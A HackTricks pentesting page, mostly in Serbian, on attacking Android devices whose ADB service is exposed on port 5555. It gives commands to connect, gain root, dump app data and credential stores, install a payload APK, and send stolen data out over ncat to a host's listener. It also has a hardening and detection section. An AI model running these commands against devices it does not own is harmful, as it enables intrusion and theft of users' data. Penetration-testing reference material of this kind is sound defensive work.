hacktricks/src/network-services-pentesting/5555-android-debug-bridge.md

147 lines
7.0 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 5555 - Android Debug Bridge
{{#include ../banners/hacktricks-training.md}}
## Osnovne informacije
Iz [dokumentacije](https://developer.android.com/studio/command-line/adb):
Android Debug Bridge (adb) je alat komandne linije za komunikaciju sa uređajima i emulatorima zasnovanim na Androidu. Tipične radnje uključuju instalaciju paketa, debagovanje i dobijanje interaktivnog Unix shell-a na uređaju.
- Istorijski podrazumevani TCP port: 5555 (klasični "adb tcpip" režim).
- Moderno bežično debagovanje (Android 11+) koristi TLS uparivanje i mDNS otkrivanje usluga. Port za povezivanje je dinamičan i otkriva se putem mDNS; možda neće biti 5555. Uparivanje se vrši sa adb pair host:port, a zatim adb connect. Pogledajte beleške u nastavku za ofanzivne implikacije.
Primer nmap otiska:
```
PORT STATE SERVICE VERSION
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
```
## Poveži se
Ako pronađeš ADB izložen i dostupan, pokušaj brzo da se povežeš i izvršiš enumeraciju:
```bash
adb connect <ip>[:<port>] # Default is 5555 for classic mode
adb devices -l # Confirm it shows as "device" (not unauthorized/offline)
adb shell # Get an interactive shell (uid usually shell)
whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port
adb root || true # Works on eng/userdebug/insecure builds, many emulators/IoT
```
- Ako uređaj primenjuje ADB autentifikaciju (ro.adb.secure=1), bićete potrebni da budete unapred autorizovani (USB RSA auth) ili da koristite Android 11+ bežično uparivanje za debagovanje (što zahteva jednokratni kod prikazan na uređaju).
- Neki proizvođački imidži, inženjerske/userdebug verzije, emulatori, televizori, STB-ovi i razvojni kompleti izlažu adbd bez autentifikacije ili sa adbd koji radi kao root. U tim slučajevima, obično ćete direktno ući u shell ili root shell.
Za opšti ADB referentni vodič, pogledajte:
{{#ref}}
../mobile-pentesting/android-app-pentesting/adb-commands.md
{{#endref}}
## Brza Post-Exploatacija
Kada imate shell, proverite privilegije i SELinux kontekst:
```bash
id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint
```
### Enumerate and capture data
- Lista aplikacija trećih strana i putanja:
```bash
pm list packages -3
pm path <pkg>
```
- Ako imate root (adb root ili su rade), možete pristupiti /data direktno. Ako ne, preferirajte run-as za aplikacije koje se mogu debagovati:
```bash
# Bez roota, za aplikaciju koja se može debagovati
run-as <pkg> sh -c 'cd /data/data/<pkg> && tar cf - .' | tar xf - -C ./loot/<pkg>
# Sa rootom
cp -a /data/data/<pkg> /sdcard/<pkg>
exit
adb pull "/sdcard/<pkg>"
```
- Korisni sistemski artefakti (potreban root):
- /data/system/users/0/accounts.db i povezani AccountManager podaci
- /data/misc/wifi/ (mrežne konfiguracije/ključevi na starijim verzijama)
- Specifične SQLite DB-ove aplikacija i shared_prefs pod /data/data/<pkg>
Možete koristiti ovo za preuzimanje osetljivih informacija (npr., tajne aplikacije). Za beleške o razmatranjima podataka Chrome-a, pogledajte problem referenciran [ovde](https://github.com/carlospolop/hacktricks/issues/274).
### Code execution and payload delivery
- Instalirajte i automatski dodelite dozvole za vreme izvođenja:
```bash
adb install -r -g payload.apk # -g dodeljuje sve dozvole za vreme izvođenja navedene u manifestu
adb shell monkey -p <pkg> -c android.intent.category.LAUNCHER 1
```
- Pokrenite aktivnosti/usluge/emitovanja direktno:
```bash
adb shell am start -n <pkg>/<activity>
adb shell am startservice -n <pkg>/<service>
adb shell am broadcast -a <action>
```
### Port forwarding and pivoting
Čak i bez roota, adb može preusmeriti lokalne portove na portove uređaja i obrnuto. Ovo je korisno za pristup uslugama vezanim lokalno na uređaju ili za izlaganje usluga napadača uređaju.
- Preusmeravanje host->uređaj (pristup lokalnoj usluzi uređaja sa vašeg hosta):
```bash
adb forward tcp:2222 tcp:22 # Ako uređaj pokreće SSH (npr., Termux/Dropbear)
adb forward tcp:8081 tcp:8080 # Izložite lokalni debug server aplikacije
```
- Obrnuto preusmeravanje uređaj->host (omogućite uređaju da dođe do usluge na vašem hostu):
```bash
adb reverse tcp:1080 tcp:1080 # Aplikacije na uređaju sada mogu doći do host:1080 kao 127.0.0.1:1080
```
- Ekstrakcija fajlova preko soketa (bez pisanja na sdcard):
```bash
# Na hostu: slušajte
ncat -lvp 9000 > dump.tar
# Na uređaju: pošaljite direktorijum kao tar (root ili run-as prema potrebi)
adb shell "tar cf - /data/data/<pkg>" | ncat <HOST_IP> 9000
```
## Wireless Debugging (Android 11+)
Moderni Android implementira TLS-zaštićeno bežično debagovanje sa uparivanjem sa strane uređaja i mDNS otkrivanjem:
```bash
# On the device: Developer options -> Wireless debugging -> Pair device with pairing code
# On attacker host (same L2 network, mDNS allowed):
adb pair <device_ip>:<pair_port> # Enter the 6-digit code shown on device
adb mdns services # Discover _adb-tls-connect._tcp / _adb._tcp services
adb connect <device_ip>:<conn_port>
```
Notes
- Portovi su dinamični; ne pretpostavljajte 5555. mDNS imena usluga izgledaju ovako:
- _adb-tls-pairing._tcp (pariranje)
- _adb-tls-connect._tcp (povezivanje)
- _adb._tcp (legacy/plain)
- Ako je mDNS filtriran, klasično omogućavanje putem USB-a može i dalje raditi na nekim verzijama: `adb tcpip 5555` zatim `adb connect <ip>:5555` (do ponovnog pokretanja).
Ofanzivne implikacije: ako možete da interagujete sa UI uređaja (npr. fizički pristup ili pogrešna konfiguracija mobilnog MDM) da omogućite bežično debagovanje i vidite kod za pariranje, možete uspostaviti dugotrajni ADB kanal bez kabla. Neki OEM-ovi izlažu ADB preko TCP-a u inženjerskim/dev slikama bez pariranja—uvek proverite.
## Hardening / Detection
Defanzivci bi trebali pretpostaviti da je svaki dostupni adbd (TCP) kritički rizik.
- Onemogućite ADB i bežično debagovanje kada nisu potrebni. Oduzmite ovlašćenja za USB debagovanje u opcijama za programere.
- Osigurajte da mrežna politika blokira dolazni TCP/5555 i mDNS zasnovano ADB otkrivanje na nepouzdanim segmentima.
- Na uređajima pod vašom kontrolom:
```bash
settings put global adb_enabled 0
setprop service.adb.tcp.port -1 # onemogućite TCP slušanje (ili koristite: adb usb)
stop adbd; start adbd # restartujte demon
```
- Pratite mDNS zapise `_adb._tcp`, `_adb-tls-connect._tcp`, `_adb-tls-pairing._tcp` na korporativnim mrežama i upozorenja za neočekivane 5555 slušaoce.
- Inventar za nesigurne verzije: `getprop ro.debuggable`, `ro.build.type`, i `ro.adb.secure`.
## Shodan
- android debug bridge
- port:5555 product:"Android Debug Bridge"
## References
- Android Developers Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb
- AOSP ADB over WiFi, pairing and mDNS service names: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md
{{#include ../banners/hacktricks-training.md}}